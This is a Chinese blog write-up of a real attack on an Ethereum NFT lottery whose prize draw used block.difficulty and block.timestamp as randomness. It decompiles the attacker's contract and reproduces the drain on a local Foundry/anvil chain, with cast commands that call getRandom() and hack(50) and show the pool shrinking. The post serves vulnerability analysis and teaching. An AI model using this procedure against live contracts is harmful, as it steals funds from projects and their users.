以太坊智能合约逆向分析与实战:(4)复刻黑客的恶意合约

据路边社消息,前几天一个刚出校门的“Web3 创业者”发布了一个彩票项目,通过付费 mint NFT 的方式及 “实时开奖” 的玩法,用户在mint NFT 时有 1/2 的概率获得 1.9 倍的费用返还。(中奖率高达 50% ?!实际数学期望E(x)=0.5*1.9 = 0.95,所以说久赌必输啊兄弟们!)

可能项目方对链上项目的运行机制和潜在风险不够了解,导致项目刚一发布便惨遭黑客攻击, 0.6 eth 的奖池被无情撸走,只好宣布创业失败。我们在严正谴责黑客的无良行径之余,不禁会想:这个项目究竟是哪里出问题了呢?今天我们通过阅读项目源码和反编译黑客的恶意合约,来分析此次攻击事件:

一、漏洞成因

图1
图1

从以上源码中我们可以发现,开发者使用了“当前区块难度 (block.difficulty)”和“当前区块时间戳(block.timestamp)”作为随机数种子,并将生成的随机数对 2 进行取模运算,如果结果是偶数则表明未中奖,是奇数则为中奖。

“区块难度”和“时间戳”是两个重要的区块属性,他们的数值很难被人为控制,而且一旦生成便无法修改。乍一看确实很适合当作随机数种子。然而开发者犯下的错误在于:他在不恰当的场景下(即时开奖)使用了这种生成方法。由于区块属性是公开可读的,攻击者完全有可能在 mint NFT 的前一刻,读取这两个区块属性并计算随机数,如果运算结果不符合中奖条件,则不发起 mint 或让 mint 中止;如果随机数结果符合中奖条件,则立即发起 mint 甚至在同一区块内大量 mint ,最终抽空奖池。漏洞利用的方法很简单,但我们这次并不直接动手写攻击工具,而是准备从逆向的角度来分析,看看这位黑客的操作是否和我们推测的一样。

二、逆向分析

这是黑客在链上的攻击记录,黑客从布署合约到合约充值,再发起攻击然后卷款跑路,一气呵成。该笔tx在一个区块内 mint 了 50 个 NFT 之多,而且都是中奖的。这就意味着攻击者不仅没为这些 NFT 付费,还获取了额外的奖金。那么,这个邪恶的合约都干了点什么呢?

图2
图2

很遗憾,合约并没有开源(当然不会开源……)我们只好通过逆向的方式去研究了。这次我们使用一款叫做 Panoramix decompiler 的工具,它也被很多区块浏览器上所集成,但我选择在本地运行,因为更方便一些。

( 如果你没有安装的话: $ pip install panoramix-decompiler

然后指定合约所在的链的 RPC 。我们分析的合约在 ETH 链上,所以使用以下 RPC:

$ export WEB3_PROVIDER_URI = https://rpc.ankr.com/eth

再给出合约地址,软件就开始自动下载二进制文件并开始反编译了:

$ panoramix 0x880df6cc30bb7934d065498ed9163a6e3b5aa67d

过了一会就能看到编译结果。此次反编译的结果比较清楚明了,没有什么需要深入分析的。只有个别没有识别出哈希对应的函数签名,也可以结合 https: //www. 4byte.directory/ 、https: //sig. eth. samczsun.c om/ 等工具来查询。为了节省篇幅。在这里就只画些重点,大家自行阅读吧:

图3
图3

由图中可以发现,黑客的操作手法和我们推测的差不多,计算随机数结果、批量循环 mint NFT 这些功能该有的都有,还写了转移 NFT 的方法。需要注意的是,按照 ERC721 标准的要求,如果用合约来调用 NFT 的 _safemint() 方法,该合约要实现 onERC721Received() 才可以成功mint。

三、代码实现

原理和逻辑既然已经搞清楚,那就只剩下编码实现了。这次我们使用 Foundry 来进行编写和测试。这是一款用 Rust 编写的构建工具,与其他基于 js 的构建工具相比速度更快一些。

Foundry 由三个不同的命令行工具(CLI)组成,包括 forge(用于构建、测试、部署和验证合约),cast(用于进行RPC调用和合约交互),和 anvil(用于运行本地EVM区块链节点)。详情请戳官方文档

如果你还没有安装 Foundry ,需要:

$ curl -L https://foundry.paradigm.xyz | bash

$ foundryup

如果已经安装,就直接新建项目:

$ forge init luckyHack && cd luckyHack

删掉项目示例合约、测试合约:

$rm src/Contract.sol

$rm test/Contract.sol

在 src/下新建 luckyTiger.sol (作为测试目标)、luckyHack.sol (作为攻击工具)。

其中luckyTiger.sol 是照抄项目方的合约,luckyHack.sol 由我们自己编写,核心代码如图:

图4
图4

四、实战演练

这次测试正好把 Foundry的三大件(forge,cast,anvil)用上一遍,十分方便。把我们先回到项目根目录,用anvil启动本地节点:

$ anvil

图5
图5

本地节点会给出 10 个地址及私钥用于开发测试。这里我们假设地址0 是项目方、地址1是黑客,分别用二者的私钥来部署 NFT 项目和攻击合约。

我们开启另一个终端,用 forge 编译和部署合约。先后编译测试目标 luckyTiger.sol、攻击工具luckyHack.sol:

$ forge build

编译通过之后我们开始部署,luckyTiger.sol 的构造函数需要传递 tokenURI 等参数,记得用 --constructor-args :

$ forge create src/luckyTiger.sol:luckytiger --private-key=测试私钥0 --constructor-args "AAA" "BBB"

$ forge create src/luckyHack.sol:luckyHack --private-key=测试私钥1

一切准备完毕后,测试环境各参数如下:

项目方地址:0xf39Fd6e51aad88F6F4ce6aB8827279cffFb92266

NFT地址:0x5FbDB2315678afecb367f032d93F642f64180aa3

黑客地址:0x70997970C51812dc3A010C7d01b50e0d17dc79C8

攻击合约地址:0x8464135c8F25Da09e49BC8782676a84730C318bC

测试流程

**1、**项目方调用 addBonusPool() 向合约奖池注资,彩票项目开始运行。本例设置为 5 eth。我们使用 cast 与链上合约进行交互:

$ cast send 0x5FbDB2315678afecb367f032d93F642f64180aa3 “addBonusPool()” --value 5ether --private-key=测试私钥0

查看一下合约余额,返回5000000000000000000:

$ cast balance 0x5FbDB2315678afecb367f032d93F642f64180aa3

**2、**攻击者调用 sendEther() 向攻击合约注资,作为mint NFT 的成本。本例设置为3 eth:

cast send 0x8464135c8F25Da09e49BC8782676a84730C318bC “sendEther()” --value 3ether --private-key=测试私钥1

查看一下合约余额,返回3000000000000000000:

$ cast balance 0x5FbDB2315678afecb367f032d93F642f64180aa3

**3、**攻击者先通过调用攻击合约的 getRandom(),查询当前区块参数是否符合中奖条件。(uint256)约定了返回值的格式,如果不写,会默认返回一长串十六进制字符:

$ cast call 0x8464135c8F25Da09e49BC8782676a84730C318bC "getRandom()(uint256)"

**4、**如果返回值为 1, 说明当前区块参数符合中奖条件。此时攻击者调用 hack(uint256) 向NFT项目发起攻击,由于是测试,我们先搞它 50 次 :

$ cast send 0x8464135c8F25Da09e49BC8782676a84730C318bC "hack(uint256)" "50" --gas-limit 5000000 --private-key=测试私钥1

如此往复几次,我们查看下奖池余额和攻击合约余额:

奖池余额 :4500000000000000000 (减少了0.5 eth)

攻击合约余额:3450000000000000000 (增加了0.45 eth)

什么?你非要问之间差的0.05 eth到哪去了?NFT 里面写的有啊:

$ cast balance 0x511604E18d63D32ac2605B5f0aF0cF580D21FA49

你看,在项目方的钱包里……

补充说明:

在以上实战演练中,为了研究方便和保证测试的全面性,我们搭建了整个测试环境。其实在我们日常测试时,完全不必大费周章地设置整个环境,可以利用 Foundry 这个便利的功能,将主网进行分叉,创造一个真实的链上场景进行演练:

$ anvil --fork-url https://rpc.ankr.com/eth --fork-block-number 15403398

图6
图6

如上图所示,我们从以太主网的区块高度 15403398 分叉出了本地测试网,之后的操作与上面一样,但我们只需要专注编写攻击合约就可以了。

相关代码

关于作者

Subscribe to Hackit
Receive the latest updates directly to your inbox.
Mint this entry as an NFT to add it to your collection.
Verification
This entry has been permanently stored onchain and signed by its creator.